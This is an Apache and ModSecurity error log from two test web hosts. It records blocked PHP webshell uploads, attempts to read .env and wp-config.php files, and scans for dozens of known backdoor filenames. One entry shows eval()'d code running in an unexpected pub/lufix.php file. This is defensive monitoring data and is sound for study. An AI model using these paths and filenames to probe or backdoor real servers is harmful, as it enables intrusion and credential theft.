[Mon Mar 23 04:27:57.703136 2026] [:error] [pid 2882108] [client 156.254.127.253:55214] [client 156.254.127.253] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acCzPT4cjZssICirwT9UNgAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Mon Mar 23 04:27:57.703615 2026] [:error] [pid 2882108] [client 156.254.127.253:55214] [client 156.254.127.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acCzPT4cjZssICirwT9UNgAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Mon Mar 23 04:27:57.703754 2026] [:error] [pid 2882108] [client 156.254.127.253:55214] [client 156.254.127.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acCzPT4cjZssICirwT9UNgAAAAE"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Tue Mar 24 19:20:14.085416 2026] [authz_core:error] [pid 2903633] [client 40.69.66.178:9845] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.php
[Tue Mar 24 19:20:21.097027 2026] [authz_core:error] [pid 2903630] [client 40.69.66.178:15652] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.php
[Tue Mar 24 19:20:21.421214 2026] [php:warn] [pid 2903630] [client 40.69.66.178:15652] PHP Warning: Undefined array key "HTTP_USER_AGENT" in /var/www/magento.test.indacotrentino.com/www/pub/lufix.php(2) : eval()'d code(1) : eval()'d code on line 1
[Tue Mar 24 19:21:01.867287 2026] [:error] [pid 2903630] [client 40.69.66.178:7906] [client 40.69.66.178] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "acLWDX25Inkg-NtaHQIkfwAAAAE"]
[Tue Mar 24 19:21:01.867622 2026] [:error] [pid 2903630] [client 40.69.66.178:7906] [client 40.69.66.178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "acLWDX25Inkg-NtaHQIkfwAAAAE"]
[Tue Mar 24 19:21:01.867792 2026] [:error] [pid 2903630] [client 40.69.66.178:7906] [client 40.69.66.178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "acLWDX25Inkg-NtaHQIkfwAAAAE"]
[Wed Mar 25 02:07:58.230828 2026] [:error] [pid 2922899] [client 204.76.203.25:50688] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "acM1bpQaqfqsGSYaEhhlMgAAAAI"]
[Wed Mar 25 02:07:58.231150 2026] [:error] [pid 2922899] [client 204.76.203.25:50688] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "acM1bpQaqfqsGSYaEhhlMgAAAAI"]
[Wed Mar 25 02:07:58.231323 2026] [:error] [pid 2922899] [client 204.76.203.25:50688] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "acM1bpQaqfqsGSYaEhhlMgAAAAI"]
[Wed Mar 25 04:37:05.325609 2026] [:error] [pid 2925315] [client 103.74.173.195:50341] [client 103.74.173.195] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNYYSHDLFRhsQo3bTqj0QAAAAQ"]
[Wed Mar 25 04:37:05.325961 2026] [:error] [pid 2925315] [client 103.74.173.195:50341] [client 103.74.173.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNYYSHDLFRhsQo3bTqj0QAAAAQ"]
[Wed Mar 25 04:37:05.326090 2026] [:error] [pid 2925315] [client 103.74.173.195:50341] [client 103.74.173.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNYYSHDLFRhsQo3bTqj0QAAAAQ"]
[Wed Mar 25 04:43:37.015225 2026] [:error] [pid 2925314] [client 103.74.173.195:50490] [client 103.74.173.195] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNZ6fBw37e5ziHgAJC7oAAAAAM"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Wed Mar 25 04:43:37.015632 2026] [:error] [pid 2925314] [client 103.74.173.195:50490] [client 103.74.173.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNZ6fBw37e5ziHgAJC7oAAAAAM"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Wed Mar 25 04:43:37.015786 2026] [:error] [pid 2925314] [client 103.74.173.195:50490] [client 103.74.173.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNZ6fBw37e5ziHgAJC7oAAAAAM"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Wed Mar 25 05:29:14.812846 2026] [authz_core:error] [pid 2925947] [client 152.32.226.179:52286] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/, referer: http://forst-trento.test.indacotrentino.com/app/
[Wed Mar 25 05:29:21.020141 2026] [authz_core:error] [pid 2925947] [client 152.32.226.179:52286] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/, referer: http://forst-trento.test.indacotrentino.com/app/
[Wed Mar 25 05:29:23.292813 2026] [authz_core:error] [pid 2927216] [client 152.32.226.179:38630] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/js, referer: http://forst-trento.test.indacotrentino.com/app/js/base.js
[Wed Mar 25 05:29:31.073870 2026] [authz_core:error] [pid 2927213] [client 152.32.226.179:38618] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/static, referer: http://forst-trento.test.indacotrentino.com/app/static/js/download.js
[Wed Mar 25 05:29:32.117593 2026] [authz_core:error] [pid 2927212] [client 152.32.226.179:38598] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/static, referer: http://forst-trento.test.indacotrentino.com/app/static/picture/star.png
[Wed Mar 25 05:29:36.113998 2026] [authz_core:error] [pid 2927214] [client 152.32.226.179:38628] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/, referer: https://forst-trento.test.indacotrentino.com/app/
[Wed Mar 25 05:29:38.064836 2026] [authz_core:error] [pid 2927213] [client 152.32.226.179:38618] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/, referer: https://forst-trento.test.indacotrentino.com/app/
[Wed Mar 25 05:29:39.151548 2026] [authz_core:error] [pid 2927212] [client 152.32.226.179:38598] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/js, referer: https://forst-trento.test.indacotrentino.com/app/js/base.js
[Wed Mar 25 05:29:43.112591 2026] [authz_core:error] [pid 2927213] [client 152.32.226.179:38618] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/static, referer: https://forst-trento.test.indacotrentino.com/app/static/js/download.js
[Wed Mar 25 05:29:43.638962 2026] [authz_core:error] [pid 2927215] [client 152.32.226.179:38640] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/static, referer: https://forst-trento.test.indacotrentino.com/app/static/picture/star.png
[Wed Mar 25 05:38:02.043151 2026] [:error] [pid 2927241] [client 101.99.88.90:59988] [client 101.99.88.90] ModSecurity: Warning. Matched phrase ".htaccess" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "601"] [id "932180"] [msg "Restricted File Upload Attempt"] [data "Matched Data: .htaccess found within FILES:file: .htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmquO5b7pUQD7n2ABPFwAAAAA"]
[Wed Mar 25 05:38:02.043295 2026] [:error] [pid 2927241] [client 101.99.88.90:59988] [client 101.99.88.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmquO5b7pUQD7n2ABPFwAAAAA"]
[Wed Mar 25 05:38:02.043453 2026] [:error] [pid 2927241] [client 101.99.88.90:59988] [client 101.99.88.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmquO5b7pUQD7n2ABPFwAAAAA"]
[Wed Mar 25 05:38:02.226938 2026] [:error] [pid 2927241] [client 101.99.88.90:59988] [client 101.99.88.90] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: radio.php found within FILES:file: radio.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmquO5b7pUQD7n2ABPGAAAAAA"]
[Wed Mar 25 05:38:02.227137 2026] [:error] [pid 2927241] [client 101.99.88.90:59988] [client 101.99.88.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmquO5b7pUQD7n2ABPGAAAAAA"]
[Wed Mar 25 05:38:02.227340 2026] [:error] [pid 2927241] [client 101.99.88.90:59988] [client 101.99.88.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmquO5b7pUQD7n2ABPGAAAAAA"]
[Wed Mar 25 05:38:14.043271 2026] [:error] [pid 2927213] [client 101.99.88.90:57404] [client 101.99.88.90] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: radio.php found within FILES:file: radio.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmtskTZgf62SdRIM5gpgAAAAw"]
[Wed Mar 25 05:38:14.043404 2026] [:error] [pid 2927213] [client 101.99.88.90:57404] [client 101.99.88.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmtskTZgf62SdRIM5gpgAAAAw"]
[Wed Mar 25 05:38:14.043530 2026] [:error] [pid 2927213] [client 101.99.88.90:57404] [client 101.99.88.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acNmtskTZgf62SdRIM5gpgAAAAw"]
[Wed Mar 25 15:17:16.162216 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/class-t.api.php' not found or unable to stat
[Wed Mar 25 15:17:16.358855 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/zwso.php' not found or unable to stat
[Wed Mar 25 15:17:16.753334 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/class19.php' not found or unable to stat
[Wed Mar 25 15:17:16.956627 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/class20.php' not found or unable to stat
[Wed Mar 25 15:17:17.152726 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/admin.php' not found or unable to stat
[Wed Mar 25 15:17:17.349554 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/randkeyword.php' not found or unable to stat
[Wed Mar 25 15:17:17.559288 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/fwe.php' not found or unable to stat
[Wed Mar 25 15:17:17.756385 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/images/m.php' not found or unable to stat
[Wed Mar 25 15:17:17.952699 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/g.php' not found or unable to stat
[Wed Mar 25 15:17:18.148659 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/tx1.php' not found or unable to stat
[Wed Mar 25 15:17:18.345990 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/xv.php' not found or unable to stat
[Wed Mar 25 15:17:18.542419 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/x56.php' not found or unable to stat
[Wed Mar 25 15:17:18.738997 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/htaccess.php' not found or unable to stat
[Wed Mar 25 15:17:18.934748 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/readme.php' not found or unable to stat
[Wed Mar 25 15:17:19.132105 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/x50.php' not found or unable to stat
[Wed Mar 25 15:17:19.328971 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/fv.php' not found or unable to stat
[Wed Mar 25 15:17:19.533968 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/file.php' not found or unable to stat
[Wed Mar 25 15:17:19.730475 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/lsd.php' not found or unable to stat
[Wed Mar 25 15:17:19.926617 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/as.php' not found or unable to stat
[Wed Mar 25 15:17:20.123380 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/wsd.php' not found or unable to stat
[Wed Mar 25 15:17:20.322604 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/gtc.php' not found or unable to stat
[Wed Mar 25 15:17:20.523756 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/atx.php' not found or unable to stat
[Wed Mar 25 15:17:20.719820 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/z60.php' not found or unable to stat
[Wed Mar 25 15:17:20.916116 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/403.php' not found or unable to stat
[Wed Mar 25 15:17:21.112172 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/m.php' not found or unable to stat
[Wed Mar 25 15:17:21.308190 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/themes.php' not found or unable to stat
[Wed Mar 25 15:17:21.900322 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/click.php' not found or unable to stat
[Wed Mar 25 15:17:22.096928 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/install.php' not found or unable to stat
[Wed Mar 25 15:17:22.293768 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/lv.php' not found or unable to stat
[Wed Mar 25 15:17:22.490220 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/simple.php' not found or unable to stat
[Wed Mar 25 15:17:22.687472 2026] [php:error] [pid 2930941] [client 20.63.96.180:6034] script '/var/www/magento.test.indacotrentino.com/www/pub/css.php' not found or unable to stat
[Wed Mar 25 20:36:57.392939 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/an.php' not found or unable to stat
[Wed Mar 25 20:36:58.021235 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/ws.php' not found or unable to stat
[Wed Mar 25 20:36:58.229770 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/404.php' not found or unable to stat
[Wed Mar 25 20:36:58.622453 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp-conf.php' not found or unable to stat
[Wed Mar 25 20:36:59.045996 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp-login.php' not found or unable to stat
[Wed Mar 25 20:36:59.244097 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/abc.php' not found or unable to stat
[Wed Mar 25 20:36:59.441887 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/abcd.php' not found or unable to stat
[Wed Mar 25 20:36:59.639287 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/as.php' not found or unable to stat
[Wed Mar 25 20:36:59.844584 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp-trackback.php' not found or unable to stat
[Wed Mar 25 20:37:00.042175 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/about.php' not found or unable to stat
[Wed Mar 25 20:37:00.245100 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/file.php' not found or unable to stat
[Wed Mar 25 20:37:00.441526 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/adminfuns.php' not found or unable to stat
[Wed Mar 25 20:37:00.642673 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp-good.php' not found or unable to stat
[Wed Mar 25 20:37:00.839598 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/xmlrpc.php' not found or unable to stat
[Wed Mar 25 20:37:01.038408 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/goods.php' not found or unable to stat
[Wed Mar 25 20:37:01.241335 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/class-t.api.php' not found or unable to stat
[Wed Mar 25 20:37:01.448887 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/sf.php' not found or unable to stat
[Wed Mar 25 20:37:01.657915 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/kbfr.php' not found or unable to stat
